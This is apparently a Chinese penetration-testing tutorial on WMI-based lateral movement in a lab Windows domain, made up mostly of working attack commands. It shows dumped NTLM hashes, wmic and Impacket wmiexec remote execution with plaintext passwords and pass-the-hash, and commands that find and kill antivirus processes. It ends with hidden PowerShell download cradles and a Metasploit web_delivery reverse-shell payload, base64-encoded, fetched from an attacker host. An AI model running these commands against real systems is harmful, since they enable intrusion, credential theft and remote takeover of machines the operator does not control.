本文大量参考了师傅们的文章,感谢各位师傅的帮助!
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/about-wmi
https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
https://www.freebuf.com/articles/246440.html
https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA
WMI的全名为"Windows Management Instrumentation
"。从win98
开始,Windows
操作系统都支持WMI
,WMI
可以在本地或者远程管理计算机系统。比如:重启,关机,关闭进程,创建进程等。
具体可以参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/using-wmi
Windows7
Windows Server2008
Windows Server2019
hash信息
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:87b0a2e198df7fbfc945b3210c7cd86c:::
crow:1000:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
test:1106:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
USER01$:1001:aad3b435b51404eeaad3b435b51404ee:7d95b2ff3d77850d49fcb63362f44156:::
USER02$:1104:aad3b435b51404eeaad3b435b51404ee:0d7e21bbdb31c5a26b934fe90040f08b:::
USER03$:1105:aad3b435b51404eeaad3b435b51404ee:b4853be788d2fdface8207ddf5ce2716:::
本文的环境均在域内进行操作,以上环境中均无杀软。
以下操作均在win7上执行。
首先我们执行如下命令,将输出结果保存在靶机winserver2008对应的C:\Windows\Temp
目录下:
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "cmd.exe /c whoami > C:\Windows\Temp\shell.txt"
此时在winserver08
上已经出了结果,但是在win7
上如何去查看呢?在这里还是需要IPC$
来执行命令:
首先是建立连接:
net use \\192.168.135.15\ipc$ /u:"administrator" "Admin@admin"
然后查看下刚生成的文件:
type \\192.168.135.15\c$\windows\temp\shell.txt
在获取cmd
之后,其实是可以进行任意操作的,但是由于wmic
的隐蔽性更好,所以在这里可以使用wmic
的命令来进行操作。
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
wmic process list brief #列出所有进程,Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic process get name,executablepath #获取所有进程名称以及可执行路径
wmic process where name="jqs.exe" get executablepath #获取指定进程可执行路径
wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe" #创建新进程
wmic process call create "shutdown.exe -r -f -t 60" #根据命令创建进程
wmic process where name="qq.exe" delete #根据进程名称删除进程
wmic process where pid="123" delete #根据PID删除进程
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
WMIC USERACCOUNT where "name='%UserName%'" call rename newUserName #更改当前用户名
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
#建立共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)
#删除共享
WMIC SHARE where name="C$" call delete
WMIC SHARE where path='c:\test' delete
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
#更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"
#运行telnet服务
wmic SERVICE where name="tlntsvr" call startservice
#停止ICS服务
wmic SERVICE where name="ShardAccess" call stopservice
#删除test服务
wmic SERVICE where name="test" call delete
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
#列出c盘下名为test的目录
wmic FSDIR where "drive='c:' and filename='test'" list
#删除c:\good文件夹
wmic fsdir "c:\test" call delete
#重命名c:\test文件夹为abc
wmic fsdir "c:\test" rename "c:\abc"
wmic fsdir where (name='c:\test') rename "c:\abc"
#复制文件夹
wmic fsdir where name='d:\test' call copy "c:\test"
#重命名文件
wmic datafile "c:\test.txt" call rename c:\abc.txt
来源于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480
来源于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA
wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete #删除C盘下的test目录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名
wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量
###查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
###
###查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
###
###查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
###
###卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
###
### 查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径
wmic process where caption="frp.exe" get caption,commandline /value
###
### 更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username=''" set VariableValue="%path%;c:\whoami
###
### 查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
###
### 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
###
###获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
###
###安装软件
wmic product get name,version
wmic product list brief
来源于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share #共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件
###操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
###
###注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents
Impacket
是一个Python
类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。
地址:https://github.com/SecureAuthCorp/impacket
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip3 install -r requements.txt
python3 setup.py install
如果在mac上,需要使用sudo python3 setup.py install
cd example
如果有账号和密码的情况下:
# python3 wmiexec.py 用户名:密码@目标IP
python3 wmiexec.py administrator:Admin@[email protected]
在这里注意到当前有一个SMBv2.1 dialect used
,这个的原因主要是该工具的使用条件是需要 445
、135
和高位随机的一个端口都允许通信。
用不用445
端口取决于是否将结果返回,如果写注册表的话,就不需要返回,也就不需要445
端口,sharpwmi
这个项⽬不依赖139
和445
端⼝,但是还需要依赖 135
端⼝。
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
winserver08的hash信息
[00000003] Primary
* Username : Administrator
* Domain : USER03
* LM : d961cd0d7b411ca6e3fde35124ff2ad4
* NTLM : 82e5d5062f762c89c5d1ace3177becad
* SHA1 : 4d7907fd1725cd4cf373bbe0a7d88af708752a8b
python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad user03/[email protected]
python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad [email protected]
wmiexec可以理解为wmiexec.py的exe版本,下载地址为
https://github.com/maaaaz/impacket-examples-windows
当然,理论上来说,我们也可以自行编译,后续有机会的话,到时候再看下。
如果有账号和密码的情况下,在win7
上操作winserver08
wmiexec.exe 用户名:密码@目标IP
wmiexec.exe administrator:Admin@[email protected]
wmiexec. -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
winserver08的hash信息
[00000003] Primary
* Username : Administrator
* Domain : USER03
* LM : d961cd0d7b411ca6e3fde35124ff2ad4
* NTLM : 82e5d5062f762c89c5d1ace3177becad
* SHA1 : 4d7907fd1725cd4cf373bbe0a7d88af708752a8b
wmiexec.exe -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad [email protected]
wmiexec.exe -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad user03/[email protected]
Invoke-WmiCommand是PowerSploit-3.0.0中的一个工具,该项目最终更停在2015年,下载地址:
https://github.com/PowerShellMafia/PowerSploit/releases/tag/v3.0.0
该脚本主要通过powershell
调用WMI
来远程执行命令,并可以对命令结果回显。
本次在win7
上加载该脚本,在CodeExecution
目录下:
Import-Module : 无法加载文件 C:\Users\crow\Desktop\10_PowerSploit-3.0.0\CodeExecution\Invoke-WmiC
统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"。
所在位置 行:1 字符: 14
+ Import-Module <<<< .\Invoke-WmiCommand.ps1
+ CategoryInfo : NotSpecified: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : RuntimeException,Microsoft.PowerShell.Commands.ImportModuleCommand
此时的问题主要是没有设置powershell
的脚本执行权限,在当前需要使用管理员身份来解除限制:
set-executionpolicy remotesigned
然后选择y即可
Invoke-WmiCommand的使用方法:
#导入脚本
Import-Module .\Invoke-WmiCommand.ps1
#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 ipconfig 命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.135.15
#将执行结果输出到屏幕上
$Remote.PayloadOutput
# $User为 域名\用户名
# -String为 "密码"
# -Payload为 {命令}
# -ComputerName为 目标IP
Import-Module .\Invoke-WmiCommand.ps1;$User = "administrator";$Password = ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.135.15;$Remote.PayloadOutput
Invoke-WMIMethod.ps1模块是powershell
自带的,可以在远程系统中执行命令和指定程序。
在powershell
命令行环境执行命令,但是命令无法交互,并且没有结果回显。
命令如下:
$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令
命令参考自:https://www.freebuf.com/articles/246440.html
此时整和以下:
$User="administrator" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "192.168.135.15" -Credential $Cred // 在远程系统中运行notepad.exe命令
放在一起:
$User="administrator";$Password=ConvertTo-SecureString -String "Admin@admin" -AsPlainText -Force;$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "192.168.135.15" -Credential $Cred
wmiexec.vbs
脚本通过VBS
调用WMI来模拟PsExec
的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell
。
下载地址:
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
cscript.exe //nologo wmiexec.vbs /shell 192.168.135.15 administrator Admin@admin
// cscript用于在Windows中执行脚本
cscript.exe //nologo wmiexec.vbs /cmd 192.168.135.15 administrator Admin@admin "命令"
对于运行时间比较长的命令,例如ping、systeminfo,需要添加 -wait5000或者更长时间的参数。
在这里基本上很多资料都写成了 -wait 5000(空格),这是错误的写法。
此时加上-wait5000
之后:
而网上的错误写法:
首先准备好环境,设置监听:
在这里选择Web投递,然后选择生成:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:80/a'))"
在这里可以使用很多方法去上线,在这里选择较为原生的wmi命令上线测试,在这个命令里面因为有多个双引号,所以对其中powershell
命令的双引号进行转义:\
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:80/a'))\""
执行成功之后,此时木马上线:
在这里使用web_delivery
功能上线msf
:
use exploit/multi/script/web_delivery
set payload 2
在这里修改下payload
:
set payload windows/meterpreter/reverse_tcp
options
设置lhost
:
set lhost 192.168.22.105
run
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 192.168.22.105:4444
[*] Using URL: http://0.0.0.0:8080/gJaUcE2msw
[*] Local IP: http://192.168.22.105:8080/gJaUcE2msw
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAG0AcwBCAG0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAaQBtAHMAQgBtAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAaQBtAHMAQgBtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAuADEAMAA1ADoAOAAwADgAMAAvAGcASgBhAFUAYwBFADIAbQBzAHcALwBhAGwAbgBOAHcAMQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAyAC4AMQAwADUAOgA4ADAAOAAwAC8AZwBKAGEAVQBjAEUAMgBtAHMAdwAnACkAKQA7AA==
在这可以选择两个方法上线:
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAG0AcwBCAG0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAaQBtAHMAQgBtAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAaQBtAHMAQgBtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAuADEAMAA1ADoAOAAwADgAMAAvAGcASgBhAFUAYwBFADIAbQBzAHcALwBhAGwAbgBOAHcAMQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAyAC4AMQAwADUAOgA4ADAAOAAwAC8AZwBKAGEAVQBjAEUAMgBtAHMAdwAnACkAKQA7AA=="
也可以仿cs
上的web
方式上线:
wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.22.105:8080/gJaUcE2msw'))\""
本文对WMI
的基本用法做了一个归类,其中参考了众多师傅的文章,WMI
的用法远不止于此,而且本文是未对存在杀软的环境进行分析,等以后有机会再去探讨吧。
再次感谢各位师傅的精彩文章,尤其是谢公子师傅的文章,非常感谢!